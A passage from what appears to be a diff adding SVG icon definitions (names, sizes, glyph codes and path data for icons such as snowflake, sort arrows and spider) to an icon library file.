90.2-42.2c13.6-16.2 38.1 4.2 24.6 20.5C334.3 380.4 292.5 400 248 400s-86.3-19.6-114.8-53.8c-13.5-16.3 11.2-36.7 24.6-20.4z"], + "smog": [640, 512, [], "f75f", "M624 368H80c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h544c8.8 0 16-7.2 16-16v-16c0-8.8-7.2-16-16-16zm-480 96H16c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h128c8.8 0 16-7.2 16-16v-16c0-8.8-7.2-16-16-16zm416 0H224c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h336c8.8 0 16-7.2 16-16v-16c0-8.8-7.2-16-16-16zM144 288h156.1c22.5 19.7 51.6 32 83.9 32s61.3-12.3 83.9-32H528c61.9 0 112-50.1 112-112S589.9 64 528 64c-18 0-34.7 4.6-49.7 12.1C454 31 406.8 0 352 0c-41 0-77.8 17.3-104 44.8C221.8 17.3 185 0 144 0 64.5 0 0 64.5 0 144s64.5 144 144 144z"], + "smoking": [640, 512, [], "f48d", "M632 352h-48c-4.4 0-8 3.6-8 8v144c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8V360c0-4.4-3.6-8-8-8zM553.3 87.1c-5.7-3.8-9.3-10-9.3-16.8V8c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v62.3c0 22 10.2 43.4 28.6 55.4 42.2 27.3 67.4 73.8 67.4 124V280c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-30.3c0-65.5-32.4-126.2-86.7-162.6zM432 352H48c-26.5 0-48 21.5-48 48v64c0 26.5 21.5 48 48 48h384c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16zm-32 112H224v-64h176v64zm87.7-322.4C463.8 125 448 99.3 448 70.3V8c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v66.4c0 43.7 24.6 81.6 60.3 106.7 22.4 15.7 35.7 41.2 35.7 68.6V280c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-30.3c0-43.3-21-83.4-56.3-108.1zM536 352h-48c-4.4 0-8 3.6-8 8v144c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8V360c0-4.4-3.6-8-8-8z"], + "smoking-ban": [512, 512, [], "f54d", "M96 304c0 8.8 7.2 16 16 16h117.5l-96-96H112c-8.8 0-16 7.2-16 16v64zM256 0C114.6 0 0 114.6 0 256s114.6 256 256 256 256-114.6 256-256S397.4 0 256 0zm0 448c-105.9 0-192-86.1-192-192 0-41.4 13.3-79.7 35.7-111.1l267.4 267.4C335.7 434.7 297.4 448 256 448zm45.2-192H384v32h-50.8l-32-32zm111.1 111.1L365.2 320H400c8.8 0 16-7.2 16-16v-64c0-8.8-7.2-16-16-16H269.2L144.9 99.7C176.3 77.3 214.6 64 256 64c105.9 0 192 86.1 192 192 0 41.4-13.3 79.7-35.7 111.1zM320.6 128c-15.6 0-28.6-11.2-31.4-25.9-.7-3.6-4-6.1-7.7-6.1h-16.2c-5 0-8.7 4.5-8 9.4 4.6 30.9 31.2 54.6 63.3 54.6 15.6 0 28.6 11.2 31.4 25.9.7 3.6 4 6.1 7.7 6.1h16.2c5 0 8.7-4.5 8-9.4-4.6-30.9-31.2-54.6-63.3-54.6z"], + "sms": [512, 512, [], "f7cd", "M256 32C114.6 32 0 125.1 0 240c0 49.6 21.4 95 57 130.7C44.5 421.1 2.7 466 2.2 466.5c-2.2 2.3-2.8 5.7-1.5 8.7 1.3 3 4.1 4.8 7.3 4.8 66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 141.4 0 256-93.1 256-208S397.4 32 256 32zM128.2 304H116c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h12.3c6 0 10.4-3.5 10.4-6.6 0-1.3-.8-2.7-2.1-3.8l-21.9-18.8c-8.5-7.2-13.3-17.5-13.3-28.1 0-21.3 19-38.6 42.4-38.6H156c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8h-12.3c-6 0-10.4 3.5-10.4 6.6 0 1.3.8 2.7 2.1 3.8l21.9 18.8c8.5 7.2 13.3 17.5 13.3 28.1.1 21.3-19 38.6-42.4 38.6zm191.8-8c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-68.2l-24.8 55.8c-2.9 5.9-11.4 5.9-14.3 0L224 227.8V296c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V192c0-8.8 7.2-16 16-16h16c6.1 0 11.6 3.4 14.3 8.8l17.7 35.4 17.7-35.4c2.7-5.4 8.3-8.8 14.3-8.8h16c8.8 0 16 7.2 16 16v104zm48.3 8H356c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h12.3c6 0 10.4-3.5 10.4-6.6 0-1.3-.8-2.7-2.1-3.8l-21.9-18.8c-8.5-7.2-13.3-17.5-13.3-28.1 0-21.3 19-38.6 42.4-38.6H396c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8h-12.3c-6 0-10.4 3.5-10.4 6.6 0 1.3.8 2.7 2.1 3.8l21.9 18.8c8.5 7.2 13.3 17.5 13.3 28.1.1 21.3-18.9 38.6-42.3 38.6z"], + "snowboarding": [512, 512, [], "f7ce", "M432 96c26.5 0 48-21.5 48-48S458.5 0 432 0s-48 21.5-48 48 21.5 48 48 48zm28.8 153.6c5.8 4.3 12.5 6.4 19.2 6.4 9.7 0 19.3-4.4 25.6-12.8 10.6-14.1 7.8-34.2-6.4-44.8l-111.4-83.5c-13.8-10.3-29.1-18.4-45.4-23.8l-63.7-21.2-26.1-52.1C244.7 2 225.5-4.4 209.7 3.5c-15.8 7.9-22.2 27.1-14.3 42.9l29.1 58.1c5.7 11.4 15.6 19.9 27.7 24l16.4 5.5-41.2 20.6c-21.8 10.9-35.4 32.8-35.4 57.2v53.1l-74.1 24.7c-16.8 5.6-25.8 23.7-20.2 40.5 1.7 5.2 4.9 9.4 8.7 12.9l-38.7-14.1c-9.7-3.5-17.4-10.6-21.8-20-5.6-12-19.9-17.2-31.9-11.6s-17.2 19.9-11.6 31.9c9.8 21 27.1 36.9 48.9 44.8l364.8 132.7c9.7 3.5 19.7 5.3 29.7 5.3 12.5 0 24.9-2.7 36.5-8.2 12-5.6 17.2-19.9 11.6-31.9S474 454.7 462 460.3c-9.3 4.4-19.8 4.8-29.5 1.3l-90.8-33.1c8.7-4.1 15.6-11.8 17.8-21.9l21.9-102c3.9-18.2-3.2-37.2-18.1-48.4l-52-39 66-30.5 83.5 62.9zm-144.4 51.7l-19.7 92c-1.5 7.1-.1 13.9 2.8 20l-169.4-61.6c2.7-.2 5.4-.4 8-1.3l85-28.4c19.6-6.5 32.8-24.8 32.8-45.5V256l60.5 45.3z"], + "snowflake": [448, 512, [], "f2dc", "M440.3 345.2l-33.8-19.5 26-7c8.2-2.2 13.1-10.7 10.9-18.9l-4-14.9c-2.2-8.2-10.7-13.1-18.9-10.9l-70.8 19-63.9-37 63.8-36.9 70.8 19c8.2 2.2 16.7-2.7 18.9-10.9l4-14.9c2.2-8.2-2.7-16.7-10.9-18.9l-26-7 33.8-19.5c7.4-4.3 9.9-13.7 5.7-21.1L430.4 119c-4.3-7.4-13.7-9.9-21.1-5.7l-33.8 19.5 7-26c2.2-8.2-2.7-16.7-10.9-18.9l-14.9-4c-8.2-2.2-16.7 2.7-18.9 10.9l-19 70.8-62.8 36.2v-77.5l53.7-53.7c6.2-6.2 6.2-16.4 0-22.6l-11.3-11.3c-6.2-6.2-16.4-6.2-22.6 0L256 56.4V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v40.4l-19.7-19.7c-6.2-6.2-16.4-6.2-22.6 0L138.3 48c-6.3 6.2-6.3 16.4 0 22.6l53.7 53.7v77.5l-62.8-36.2-19-70.8c-2.2-8.2-10.7-13.1-18.9-10.9l-14.9 4c-8.2 2.2-13.1 10.7-10.9 18.9l7 26-33.8-19.5c-7.4-4.3-16.8-1.7-21.1 5.7L2.1 145.7c-4.3 7.4-1.7 16.8 5.7 21.1l33.8 19.5-26 7c-8.3 2.2-13.2 10.7-11 19l4 14.9c2.2 8.2 10.7 13.1 18.9 10.9l70.8-19 63.8 36.9-63.8 36.9-70.8-19c-8.2-2.2-16.7 2.7-18.9 10.9l-4 14.9c-2.2 8.2 2.7 16.7 10.9 18.9l26 7-33.8 19.6c-7.4 4.3-9.9 13.7-5.7 21.1l15.5 26.8c4.3 7.4 13.7 9.9 21.1 5.7l33.8-19.5-7 26c-2.2 8.2 2.7 16.7 10.9 18.9l14.9 4c8.2 2.2 16.7-2.7 18.9-10.9l19-70.8 62.8-36.2v77.5l-53.7 53.7c-6.3 6.2-6.3 16.4 0 22.6l11.3 11.3c6.2 6.2 16.4 6.2 22.6 0l19.7-19.7V496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-40.4l19.7 19.7c6.2 6.2 16.4 6.2 22.6 0l11.3-11.3c6.2-6.2 6.2-16.4 0-22.6L256 387.7v-77.5l62.8 36.2 19 70.8c2.2 8.2 10.7 13.1 18.9 10.9l14.9-4c8.2-2.2 13.1-10.7 10.9-18.9l-7-26 33.8 19.5c7.4 4.3 16.8 1.7 21.1-5.7l15.5-26.8c4.3-7.3 1.8-16.8-5.6-21z"], + "snowman": [512, 512, [], "f7d0", "M510.9 152.3l-5.9-14.5c-3.3-8-12.6-11.9-20.8-8.7L456 140.6v-29c0-8.6-7.2-15.6-16-15.6h-16c-8.8 0-16 7-16 15.6v46.9c0 .5.3 1 .3 1.5l-56.4 23c-5.9-10-13.3-18.9-22-26.6 13.6-16.6 22-37.4 22-60.5 0-53-43-96-96-96s-96 43-96 96c0 23.1 8.5 43.9 22 60.5-8.7 7.7-16 16.6-22 26.6l-56.4-23c.1-.5.3-1 .3-1.5v-46.9C104 103 96.8 96 88 96H72c-8.8 0-16 7-16 15.6v29l-28.1-11.5c-8.2-3.2-17.5.7-20.8 8.7l-5.9 14.5c-3.3 8 .7 17.1 8.9 20.3l135.2 55.2c-.4 4-1.2 8-1.2 12.2 0 10.1 1.7 19.6 4.2 28.9C120.9 296.4 104 334.2 104 376c0 54 28.4 100.9 70.8 127.8 9.3 5.9 20.3 8.2 31.3 8.2h99.2c13.3 0 26.3-4.1 37.2-11.7 46.5-32.3 74.4-89.4 62.9-152.6-5.5-30.2-20.5-57.6-41.6-79 2.5-9.2 4.2-18.7 4.2-28.7 0-4.2-.8-8.1-1.2-12.2L502 172.6c8.1-3.1 12.1-12.2 8.9-20.3zM224 96c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm32 272c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-88s-16-23.2-16-32 7.2-16 16-16 16 7.2 16 16-16 32-16 32zm32-56c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z"], + "snowplow": [640, 512, [], "f7d2", "M120 376c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm80 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm80 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm80 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm238.6 49.4c-14.5-14.5-22.6-34.1-22.6-54.6V269.2c0-20.5 8.1-40.1 22.6-54.6l36.7-36.7c6.2-6.2 6.2-16.4 0-22.6l-22.6-22.6c-6.2-6.2-16.4-6.2-22.6 0l-36.7 36.7c-26.5 26.5-41.4 62.4-41.4 99.9V288h-64v-50.9c0-8.7-1.8-17.2-5.2-25.2L364.5 29.1C356.9 11.4 339.6 0 320.3 0H176c-26.5 0-48 21.5-48 48v112h-16c-26.5 0-48 21.5-48 48v91.2C26.3 317.2 0 355.4 0 400c0 61.9 50.1 112 112 112h256c61.9 0 112-50.1 112-112 0-17.3-4.2-33.4-11.2-48H512v18.7c0 37.5 14.9 73.4 41.4 99.9l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0l22.6-22.6c6.2-6.2 6.2-16.4 0-22.6l-36.7-36.7zM192 64h117.8l68.6 160H256l-64-64V64zm176 384H112c-26.5 0-48-21.5-48-48s21.5-48 48-48h256c26.5 0 48 21.5 48 48s-21.5 48-48 48z"], + "soap": [512, 512, [], "e06e", "M416,192a95.42,95.42,0,0,1-30.94,70.21A95.8,95.8,0,0,1,352,448H160a96,96,0,0,1,0-192h88.91A95.3,95.3,0,0,1,224,192H96A96,96,0,0,0,0,288V416a96,96,0,0,0,96,96H416a96,96,0,0,0,96-96V288A96,96,0,0,0,416,192Zm-96,64a64,64,0,1,0-64-64A64,64,0,0,0,320,256ZM208,96a48,48,0,1,0-48-48A48,48,0,0,0,208,96ZM384,64a32,32,0,1,0-32-32A32,32,0,0,0,384,64ZM160,288a64,64,0,0,0,0,128H352a64,64,0,0,0,0-128Z"], + "socks": [512, 512, [], "f696", "M214.66 311.01L288 256V96H128v176l-86.65 64.61c-39.4 29.56-53.86 84.42-29.21 127.06C30.39 495.25 63.27 512 96.08 512c20.03 0 40.25-6.25 57.52-19.2l21.86-16.39c-29.85-55.38-13.54-125.84 39.2-165.4zM288 32c0-11.05 3.07-21.3 8.02-30.38C293.4.92 290.85 0 288 0H160c-17.67 0-32 14.33-32 32v32h160V32zM480 0H352c-17.67 0-32 14.33-32 32v32h192V32c0-17.67-14.33-32-32-32zM320 272l-86.13 64.61c-39.4 29.56-53.86 84.42-29.21 127.06 18.25 31.58 50.61 48.33 83.42 48.33 20.03 0 40.25-6.25 57.52-19.2l115.2-86.4A127.997 127.997 0 0 0 512 304V96H320v176z"], + "solar-panel": [640, 512, [], "f5ba", "M431.98 448.01l-47.97.05V416h-128v32.21l-47.98.05c-8.82.01-15.97 7.16-15.98 15.99l-.05 31.73c-.01 8.85 7.17 16.03 16.02 16.02l223.96-.26c8.82-.01 15.97-7.16 15.98-15.98l.04-31.73c.01-8.85-7.17-16.03-16.02-16.02zM585.2 26.74C582.58 11.31 568.99 0 553.06 0H86.93C71 0 57.41 11.31 54.79 26.74-3.32 369.16.04 348.08.03 352c-.03 17.32 14.29 32 32.6 32h574.74c18.23 0 32.51-14.56 32.59-31.79.02-4.08 3.35 16.95-54.76-325.47zM259.83 64h120.33l9.77 96H250.06l9.77-96zm-75.17 256H71.09L90.1 208h105.97l-11.41 112zm16.29-160H98.24l16.29-96h96.19l-9.77 96zm32.82 160l11.4-112h149.65l11.4 112H233.77zm195.5-256h96.19l16.29 96H439.04l-9.77-96zm26.06 256l-11.4-112H549.9l19.01 112H455.33z"], + "sort": [320, 512, [], "f0dc", "M41 288h238c21.4 0 32.1 25.9 17 41L177 448c-9.4 9.4-24.6 9.4-33.9 0L24 329c-15.1-15.1-4.4-41 17-41zm255-105L177 64c-9.4-9.4-24.6-9.4-33.9 0L24 183c-15.1 15.1-4.4 41 17 41h238c21.4 0 32.1-25.9 17-41z"], + "sort-alpha-down": [448, 512, [], "f15d", "M176 352h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm240-64H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 446.37V464a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 321.63V304a16 16 0 0 0-16-16zm31.06-85.38l-59.27-160A16 16 0 0 0 372.72 32h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 224h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 224H432a16 16 0 0 0 15.06-21.38zM335.61 144L352 96l16.39 48z"], + "sort-alpha-down-alt": [448, 512, [], "f881", "M176 352h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm112-128h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 65.63V48a16 16 0 0 0-16-16H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 190.37V208a16 16 0 0 0 16 16zm159.06 234.62l-59.27-160A16 16 0 0 0 372.72 288h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 480h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 480H432a16 16 0 0 0 15.06-21.38zM335.61 400L352 352l16.39 48z"], + "sort-alpha-up": [448, 512, [], "f15e", "M16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160zm400 128H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 446.37V464a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 321.63V304a16 16 0 0 0-16-16zm31.06-85.38l-59.27-160A16 16 0 0 0 372.72 32h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 224h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 224H432a16 16 0 0 0 15.06-21.38zM335.61 144L352 96l16.39 48z"], + "sort-alpha-up-alt": [448, 512, [], "f882", "M16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160zm272 64h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 65.63V48a16 16 0 0 0-16-16H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 190.37V208a16 16 0 0 0 16 16zm159.06 234.62l-59.27-160A16 16 0 0 0 372.72 288h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 480h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 480H432a16 16 0 0 0 15.06-21.38zM335.61 400L352 352l16.39 48z"], + "sort-amount-down": [512, 512, [], "f160", "M304 416h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-128-64h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.37 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm256-192H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-64 128H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM496 32H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"], + "sort-amount-down-alt": [512, 512, [], "f884", "M240 96h64a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm0 128h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm256 192H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-256-64h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm-64 0h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.37 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352z"], + "sort-amount-up": [512, 512, [], "f161", "M304 416h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.77 160 16 160zm416 0H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-64 128H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM496 32H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"], + "sort-amount-up-alt": [512, 512, [], "f885", "M240 96h64a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm0 128h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm256 192H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-256-64h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zM16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.39-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160z"], + "sort-down": [320, 512, [], "f0dd", "M41 288h238c21.4 0 32.1 25.9 17 41L177 448c-9.4 9.4-24.6 9.4-33.9 0L24 329c-15.1-15.1-4.4-41 17-41z"], + "sort-numeric-down": [448, 512, [], "f162", "M304 96h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-16V48a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 96zm26.15 162.91a79 79 0 0 0-55 54.17c-14.25 51.05 21.21 97.77 68.85 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.76 86.25-61.61 86.25-132V336c-.02-51.21-48.4-91.34-101.85-77.09zM352 356a20 20 0 1 1 20-20 20 20 0 0 1-20 20zm-176-4h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352z"], + "sort-numeric-down-alt": [448, 512, [], "f886", "M176 352h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm224 64h-16V304a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 352h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM330.17 34.91a79 79 0 0 0-55 54.17c-14.27 51.05 21.19 97.77 68.83 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.77 86.25-61.61 86.25-132V112c-.02-51.21-48.4-91.34-101.85-77.09zM352 132a20 20 0 1 1 20-20 20 20 0 0 1-20 20z"], + "sort-numeric-up": [448, 512, [], "f163", "M330.17 258.91a79 79 0 0 0-55 54.17c-14.27 51.05 21.19 97.77 68.83 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.76 86.25-61.61 86.25-132V336c-.02-51.21-48.4-91.34-101.85-77.09zM352 356a20 20 0 1 1 20-20 20 20 0 0 1-20 20zM304 96h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-16V48a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 96zM107.31 36.69a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31z"], + "sort-numeric-up-alt": [448, 512, [], "f887", "M107.31 36.69a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31zM400 416h-16V304a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 352h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM330.17 34.91a79 79 0 0 0-55 54.17c-14.27 51.05 21.19 97.77 68.83 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.77 86.25-61.61 86.25-132V112c-.02-51.21-48.4-91.34-101.85-77.09zM352 132a20 20 0 1 1 20-20 20 20 0 0 1-20 20z"], + "sort-up": [320, 512, [], "f0de", "M279 224H41c-21.4 0-32.1-25.9-17-41L143 64c9.4-9.4 24.6-9.4 33.9 0l119 119c15.2 15.1 4.5 41-16.9 41z"], + "spa": [576, 512, [], "f5bb", "M568.25 192c-29.04.13-135.01 6.16-213.84 83-33.12 29.63-53.36 63.3-66.41 94.86-13.05-31.56-33.29-65.23-66.41-94.86-78.83-76.84-184.8-82.87-213.84-83-4.41-.02-7.79 3.4-7.75 7.82.23 27.92 7.14 126.14 88.77 199.3C172.79 480.94 256 480 288 480s115.19.95 199.23-80.88c81.64-73.17 88.54-171.38 88.77-199.3.04-4.42-3.34-7.84-7.75-7.82zM287.98 302.6c12.82-18.85 27.6-35.78 44.09-50.52 19.09-18.61 39.58-33.3 60.26-45.18-16.44-70.5-51.72-133.05-96.73-172.22-4.11-3.58-11.02-3.58-15.14 0-44.99 39.14-80.27 101.63-96.74 172.07 20.37 11.7 40.5 26.14 59.22 44.39a282.768 282.768 0 0 1 45.04 51.46z"], + "space-shuttle": [640, 512, [], "f197", "M592.604 208.244C559.735 192.836 515.777 184 472 184H186.327c-4.952-6.555-10.585-11.978-16.72-16H376C229.157 137.747 219.403 32 96.003 32H96v128H80V32c-26.51 0-48 28.654-48 64v64c-23.197 0-32 10.032-32 24v40c0 13.983 8.819 24 32 24v16c-23.197 0-32 10.032-32 24v40c0 13.983 8.819 24 32 24v64c0 35.346 21.49 64 48 64V352h16v128h.003c123.4 0 133.154-105.747 279.997-136H169.606c6.135-4.022 11.768-9.445 16.72-16H472c43.777 0 87.735-8.836 120.604-24.244C622.282 289.845 640 271.992 640 256s-17.718-33.845-47.396-47.756zM488 296a8 8 0 0 1-8-8v-64a8 8 0 0 1 8-8c31.909 0 31.942 80 0 80z"], + "spell-check": [576, 512, [], "f891", "M272 256h91.36c43.2 0 82-32.2 84.51-75.34a79.82 79.82 0 0 0-25.26-63.07 79.81 79.81 0 0 0 9.06-44.91C427.9 30.57 389.3 0 347 0h-75a16 16 0 0 0-16 16v224a16 16 0 0 0 16 16zm40-200h40a24 24 0 0 1 0 48h-40zm0 96h56a24 24 0 0 1 0 48h-56zM155.12 22.25A32 32 0 0 0 124.64 0H99.36a32 32 0 0 0-30.48 22.25L.59 235.73A16 16 0 0 0 16 256h24.93a16 16 0 0 0 15.42-11.73L68.29 208h87.42l11.94 36.27A16 16 0 0 0 183.07 256H208a16 16 0 0 0 15.42-20.27zM89.37 144L112 75.3l22.63 68.7zm482 132.48l-45.21-45.3a15.88 15.88 0 0 0-22.59 0l-151.5 151.5-55.41-55.5a15.88 15.88 0 0 0-22.59 0l-45.3 45.3a16 16 0 0 0 0 22.59l112 112.21a15.89 15.89 0 0 0 22.6 0l208-208.21a16 16 0 0 0-.02-22.59z"], + "spider": [576, 512, [], "f717", "M151.17 167.35L177.1 176h4.67l5.22-26.12c.72-3.58 1.8-7.58 3.21-11.79l-20.29-40.58 23.8-71.39c2.79-8.38-1.73-17.44-10.12-20.24L168.42.82c-8.38-2.8-17.45 1.73-20.24 10.12l-25.89 77.68a32.04 32.04 0 0 0 1.73 24.43l27.15 54.3zm422.14 182.03l-52.75-79.12a32.002 32.002 0 0 0-26.62-14.25H416l68.99-24.36a32.03 32.03 0 0 0 16.51-12.61l53.6-80.41c4.9-7.35 2.91-17.29-4.44-22.19l-13.31-8.88c-7.35-4.9-17.29-2.91-22.19 4.44l-50.56 75.83L404.1 